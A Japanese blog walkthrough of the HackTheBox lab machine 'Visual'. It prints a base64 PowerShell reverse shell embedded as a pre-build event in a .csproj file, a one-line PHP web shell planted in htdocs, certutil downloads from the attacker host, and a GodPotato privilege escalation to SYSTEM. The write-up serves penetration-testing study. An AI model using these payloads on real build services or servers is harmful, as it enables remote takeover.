2
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

今回はHackTheBoxのMediumマシン「Visual」のWriteUpです!
名前からVisual Studioなどが連想されますが、どのようなマシンなのでしょうか。

image.png

グラフはちゃんとMediumな感じですね。評価も高いです。
攻略目指して頑張ります~!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Visual

列挙

それでは、攻略を始めましょう!
まずはポートスキャンから実行します。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.234

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

HTTPのみオープンしていました。
ブラウザでアクセスしてみましょう。

image.png

Visual Studioプロジェクトをコンパイルするサイトのようです。やはりVisual Studio関連のマシンでしたね。
Gitのリポジトリを指定することでコンパイルが行われるようです。サイトの下にURLを入力する箇所がありました。

image.png

とりあえずKali側にアクセスさせてみましょう。HTTPサーバを起動します。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

URL入力箇所にhttp://10.10.14.5:8000と入力し、Submitを押下します。

image.png

Visual Studioプロジェクトファイル(.sln)が含まれていないというエラーが表示されました。HTTPサーバも確認してみましょう。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ python3 -m http.server 8000 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.234 - - [] code 404, message File not found
10.10.11.234 - - [] "GET /info/refs?service=git-upload-pack HTTP/1.1" 404 -

リクエストが送信されていますが、リポジトリではないので404を返しています。

Create Git Repo

まだ侵入につながる部分は見えてきませんが、Gitのリポジトリを作成しないと始まらない気がするので、とりあえず作成していきます。Gitのリポジトリを作成する方法は様々ありますが、私はDockerを使用して、giteaのインスタンスを起動させることにしました。
まずはdocker pullでイメージを取得します。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo docker pull gitea/gitea:latest
latest: Pulling from gitea/gitea
619be1103602: Pull complete 
a3dd1c70fa95: Pull complete 
a6162b935ac8: Pull complete 
f7e5852aed4d: Pull complete 
2332d211dcb6: Pull complete 
f04674e4d98c: Pull complete 
0d23272325a9: Pull complete 
Digest: sha256:0056032dc8c6ab70583e4a105b9ee0dc72dce4f4fbc8022c98bcec46b0273883
Status: Downloaded newer image for gitea/gitea:latest
docker.io/gitea/gitea:latest

イメージの取得に成功したので、docker runを実行しインスタンスを起動させます。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo docker run -p 3000:3000 gitea/gitea
Generating /data/ssh/ssh_host_ed25519_key...
Generating /data/ssh/ssh_host_rsa_key...
Generating /data/ssh/ssh_host_ecdsa_key...
Server listening on :: port 22.
Server listening on 0.0.0.0 port 22.
2024/05/03 02:28:53 cmd/web.go:242:runWeb() [I] Starting Gitea on PID: 17
2024/05/03 02:28:53 cmd/web.go:111:showWebStartupMessage() [I] Gitea version: 1.21.11 built with GNU Make 4.4.1, go1.21.9 : bindata, timetzdata, sqlite, sqlite_unlock_notify
2024/05/03 02:28:53 cmd/web.go:112:showWebStartupMessage() [I] * RunMode: prod
2024/05/03 02:28:53 cmd/web.go:113:showWebStartupMessage() [I] * AppPath: /usr/local/bin/gitea
2024/05/03 02:28:53 cmd/web.go:114:showWebStartupMessage() [I] * WorkPath: /data/gitea
2024/05/03 02:28:53 cmd/web.go:115:showWebStartupMessage() [I] * CustomPath: /data/gitea
2024/05/03 02:28:53 cmd/web.go:116:showWebStartupMessage() [I] * ConfigFile: /data/gitea/conf/app.ini
2024/05/03 02:28:53 cmd/web.go:117:showWebStartupMessage() [I] Prepare to run install page
2024/05/03 02:28:54 cmd/web.go:304:listen() [I] Listen: http://0.0.0.0:3000
2024/05/03 02:28:54 cmd/web.go:308:listen() [I] AppURL(ROOT_URL): http://localhost:3000/
2024/05/03 02:28:54 ...s/graceful/server.go:70:NewServer() [I] Starting new Web server: tcp:0.0.0.0:3000 on PID: 17

3000番で起動させたので、ブラウザでアクセスしてみます。

image.png

giteaのセットアップページが表示されました。ここで初期設定を行います。
大体は初期値のままでいいですが、Administrator Account Settingsで管理者の情報を追加で設定しておきます。

image.png

情報が追加で設定できたらInstall Giteaを押下し、セットアップを完了させます。

image.png

このような画面になれば、セットアップ完了です。

Create Visual Studio Project

では続いて、Visual Studioプロジェクトを作成していきます。
Visual Studioを起動し、「新しいプロジェクトの作成」->「C# ターミナルアプリ」を選択します。選択後、名前やフォルダを指定する画面が表示されるので、任意の名前とフォルダを指定して次に進みます。またフレームワークは.NET 6.0を選択します。

image.png

最終的に上の写真のようなコードの画面が表示されれば、プロジェクトの作成は完了です。
選択したフォルダ内を確認すると、.slnファイルが作成されていることがわかると思います。

image.png

初めに作成されるコードはHello World!を表示するものです。Visual Studio上から「ビルド(B)」->「ソリューションのビルド(B)」を選択し、ビルドを行いましょう。

12:12 でビルドが開始されました...
1>------ ビルド開始: プロジェクト: SuserTest1, 構成: Debug Any CPU ------
1>SuserTest1 -> C:\SuserTest1\SuserTest1\bin\Debug\net6.0\SuserTest1.dll
========== ビルド: 成功 1、失敗 0、最新の状態 0、スキップ 0 ==========
=========== ビルド は 12:12 で完了し、02.234 秒 掛かりました ==========

成功しました。こうすると、フォルダ内にx64というフォルダが作成され、exeファイルが格納されます。Windows側でexeファイルを実行してみましょう。

C:\SuserTest1\SuserTest1\bin\Debug\net6.0>.\SuserTest1.exe
Hello, World!

Hello World!と表示されましたね。では、このプロジェクトをgiteaに移していきます。
まずは、giteaの右上の「+」ボタンから「New Repository」を押下し、新規リポジトリを作成します。

image.png

リポジトリ名に好きな名前を入力し、「Create Repository」を押下します。

image.png

上の写真のようにリポジトリが作成されればOKです。
リポジトリができたので、Visual Studioプロジェクトを移していきましょう。そのためにKaliへVisual Studioプロジェクトのフォルダをコピーし、フォルダ内でローカルリポジトリを作成していきます。まずはgit initを実行します。

+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git init               
Initialized empty Git repository in /home/kali/visual/SuserTest1/.git/

次にブランチを作成し、作成したブランチに切り替えます。

+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git checkout -b main        
Switched to a new branch 'main'

続いて、ファイルやフォルダをローカルリポジトリに追加し、コミットします。

+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .           
                                                                                                                                                                            
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "first commit"
[main (root-commit) 8df1faa] first commit
 34 files changed, 341 insertions(+)
 create mode 100644 .vs/ProjectEvaluation/susertest1.metadata.v7.bin
 create mode 100644 .vs/ProjectEvaluation/susertest1.projects.v7.bin
 create mode 100644 .vs/SuserTest1/DesignTimeBuild/.dtbcache.v2
 create mode 100644 .vs/SuserTest1/FileContentIndex/d7bf184a-7fcb-426b-afc3-2f39d9549452.vsidx
 create mode 100644 .vs/SuserTest1/v17/.futdcache.v2
 ...
 create mode 100644 SuserTest1/obj/SuserTest1.csproj.nuget.g.targets
 create mode 100644 SuserTest1/obj/project.assets.json
 create mode 100644 SuserTest1/obj/project.nuget.cache

コミットに成功しました。あとはこのローカルリポジトリをgiteaにプッシュするだけです。リモートを追加し、プッシュしましょう。

+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git remote add origin http://localhost:3000/suser/SuserTest1.git  
                                                                                                                                                                            
+[~/visual/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main                                         
Enumerating objects: 46, done.
Counting objects: 100% (46/46), done.
Delta compression using up to 6 threads
Compressing objects: 100% (41/41), done.
Writing objects: 100% (46/46), 150.26 KiB | 7.51 MiB/s, done.
Total 46 (delta 2), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/suser/SuserTest1.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'.

プッシュに成功しました。giteaでも変更されているか見てみましょう。

image.png

プロジェクトを移すことに成功しました!
あとはVisualで正常に処理が動くか確認しましょう。リポジトリを入力する箇所にgiteaのURLを入力し、「Submit」を押下します。処理に少し時間がかかりますが...

image.png

ビルドに成功しました!

Pre-build Command Exec

正常系までは持っていけましたが、問題はここからどうやって侵入につなげるのかです。Visual Studioプロジェクトをビルドすることでコマンド実行につながることがあるのか調べていると、興味深い記事を発見しました。

記事によると、ビルドの前と後でイベントを指定することが可能なようです。イベントではコマンドを実行させることができるようなので、この方法を使用してシェルを取得できるかもしれません。

記事によると、プロジェクトファイル(.csproj)に以下を追加するだけでビルド前のイベントを指定できるようです。

<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
  <Exec Command="call prebuild.bat" />
</Target>

実際にVisual Studioプロジェクトファイルにコマンド実行のビルド前イベントを指定しましょう。

+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ cat SuserTest1.csproj 
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="ping 10.10.14.5" />
  </Target>

</Project>

変更を加えたので、ローカルリポジトリでコミットします。

+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .

+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "Add pre-build event"
[main e56bd51] Add pre-build event
 1 file changed, 3 insertions(+)

コミットに成功したら、giteaへプッシュします。

+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main            
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 6 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 520 bytes | 520.00 KiB/s, done.
Total 4 (delta 2), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/suser/SuserTest1.git
   8df1faa..e56bd51  main -> main
branch 'main' set up to track 'origin/main'.

プッシュに成功したので、あとはVisualで再度「Submit」を押下するだけです。押下する前に、tcpdumpを実行しpingの待ち受けを作成しましょう。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

これで準備は完了です。再度ビルドさせましょう。

image.png

通常通り、ビルドに成功しています。待ち受けを確認してみましょう。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:50:30.145832 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 1, length 40
23:50:30.145917 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 1, length 40
23:50:31.155093 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 2, length 40
23:50:31.155116 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 2, length 40
23:50:32.167900 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 3, length 40
23:50:32.167944 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 3, length 40
23:50:33.179265 IP 10.10.11.234 > 10.10.14.5: ICMP echo request, id 1, seq 4, length 40
23:50:33.179291 IP 10.10.14.5 > 10.10.11.234: ICMP echo reply, id 1, seq 4, length 40

pingの通信を確認できました!

enox としてのシェル

ビルド前イベントによりコマンドが実行できたことがわかりました。
あとはシェルを取得するだけです。先ほどpingを実行した部分に「PowerShell #3 (Base64)」のリバースシェルを入力します。

+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ cat SuserTest1.csproj 
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIAMQApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" />
  </Target>

</Project>

入力出来たら、先ほどと同じ手順でプッシュまで行います。

+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git add .              
                                                                                                                                                                            
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git commit -m "Get shell"
                                                                                                                                                                            
+[~/visual/SuserTest1/SuserTest1]
(σ▰>∇<)σ<10.10.14.5>$ git push -u origin main  

シェルの待ち受けも開始しておきましょう。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...

では、再度Visualでビルドを実行させましょう。

image.png

タイムアウトになってしまいましたが、シェルを返したことを考えると想定内です。待ち受けを確認してみましょう。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49675

PS C:\Windows\Temp\b1aaf2f512698a0dbd2a7aa13ef974\SuserTest1> whoami
visual\enox

シェルの取得に成功しました!

PS C:\Users\enox\Desktop> dir

    Directory: C:\Users\enox\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---         5/3/2024   7:53 PM             34 user.txt           

ユーザフラグも取得できました!

横移動

では、ここから権限昇格を!とwhoami /privから始め、色々と列挙しましたが権限昇格に繋がりそうな情報や脆弱性、設定ミスは見つかりませんでした。。

PS C:\Users\enox\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

そこで私は、サービスアカウントに複数の特権が付与されていることを期待し、サービスに対して調査の焦点を当てました。

Web Shell

では、どのようなサービスに対して焦点を当てたのかですが、WEBサーバがxamppで実行されていることがわかっていたので、WEBシェルを作成できるのではないかと考えました。
現に、C:\xampp\htdocs配下を見ると、見覚えのあるPHPファイルがありました。

PS C:\xampp\htdocs> dir

    Directory: C:\xampp\htdocs

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        6/10/2023  10:32 AM                assets                                                                
d-----        6/10/2023  10:32 AM                css                                                                   
d-----        6/10/2023  10:32 AM                js                                                                    
d-----         5/3/2024   9:12 PM                uploads                                                               
-a----        6/10/2023   6:20 PM           7534 index.php                                                             
-a----        6/10/2023   4:17 PM           1554 submit.php                                                            
-a----        6/10/2023   4:11 PM           4970 vs_status.php        

試しに、phpinfo()を実行するPHPファイルを作成してみましょう。

PS C:\xampp\htdocs> Set-Content -path phpinfo.php -Value '<?php phpinfo(); ?>'

作成できたら、ブラウザからアクセスできるか試します。

image.png

phpinfo()を実行することができました!
同じ要領でWEBシェルを作成できそうなので、作成していきましょう。

PS C:\xampp\htdocs> Set-Content -path shell.php -Value '<?php system($_GET["cmd"]); ?>'

作成できたら、?cmd=whoamiを追加し、ブラウザでアクセスしてみます。

image.png

WEBシェルが正常に動作し、whoamiを実行することができました!

local service としてのシェル

ではあとはシェルを取得するだけなので、先ほどと同様に「PowerShell #3 (Base64)」を使用します。実行前に待ち受けを開始しておきましょう。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...

それでは、WEBシェルを使用してコマンドを実行させましょう。実行後、待ち受けを確認すると...

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49676

PS C:\xampp\htdocs> whoami
nt authority\local service

シェルの取得に成功しました!横移動成功です!

権限昇格

それでは、今度こそ権限昇格を行います。まずはwhoami /privを実行します。

PS C:\xampp\htdocs> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeCreateGlobalPrivilege       Create global objects          Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

サービスアカウントですが、かなり権限が少ないです。これはおそらくサービスを開始する際に権限が剥奪されていることが考えられるので、FullPowers.exeを使用して権限を取り戻すことができるか試してみます。wgetもしくはcertutilなどを使用してターゲット上にアップロードしてください。

PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.5:8000/FullPowers.exe FullPowers.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

では、実行してみます。

PS C:\Users\Public\Downloads> .\FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 372
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

権限を取り戻すことに成功しました!が、毎回FullPowers.exeを介して、コマンドを実行するのは大変なので、権限を取り戻したシェルを取得しておきましょう。Kali側で再度待ち受けを開始します。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...

そして、FullPowers.exeを使用しながら、「PowerShell #3 (Base64)」を実行します。

PS C:\Users\Public\Downloads> .\FullPowers.exe -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

シェルが返ってくるので、権限を確認してみましょう。

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49682

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

権限を完全に取り戻すことができました!

GodPotate

権限を見るとSeImpersonatePrivilegeが有効になっていることがわかります。しかし、systeminfoで確認してみると、OSのバージョンが「Windows Server 2019」であることがわかりました。

PS C:\Windows\system32> systeminfo

Host Name:                 VISUAL
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
...

このバージョンではJuicyPotateは使用できませんが、その進化系としてGodPotateがあります。GodPotatoは「Windows Server 2022」までを対象としているため、今回の対象において使用することができそうです。こちらもwgetもしくはcertutilを使用してターゲット上にアップロードします。

PS C:\Users\Public\Downloads> certutil -urlcache -f http://10.10.14.5:8000/GodPotato-NET4.exe GodPotato-NET4.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

アップロードできたら、GodPotateを使用してコマンドを実行しましょう。

PS C:\Users\Public\Downloads> .\GodPotato-NET4.exe -cmd "whoami"
[*] CombaseModule: 0x140734596841472
[*] DispatchTable: 0x140734599147632
[*] UseProtseqFunction: 0x140734598523808
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\2f3f3b65-ea01-460d-817d-836b5011b68d\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000f802-0798-ffff-c45f-376657b69e73
[*] DCOM obj OXID: 0x3fdb2d109f936486
[*] DCOM obj OID: 0xac73486812a3fc4d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 888 Token:0x732  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1968
nt authority\system

systemとしてコマンドが実行できています!

system としてのシェル

それでは、シェルを取得してしまいましょう!こちらも同じく「PowerShell #3 (Base64)」を使用します。

PS C:\Users\Public\Downloads> .\GodPotato-NET4.exe -cmd "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAiACwAMgAxADIANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="

少し時間がかかりますが、待ち受けを確認すると...

+[~/visual]
(σ▰>∇<)σ<10.10.14.5>$ rlwrap nc -lnvp 2124
listening on [any] 2124 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.234] 49695

PS C:\Users\Public\Downloads> whoami
nt authority\system

権限昇格に成功しました!

PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---         5/3/2024   7:53 PM             34 root.txt    

フラグも取得し、完全攻略達成です!

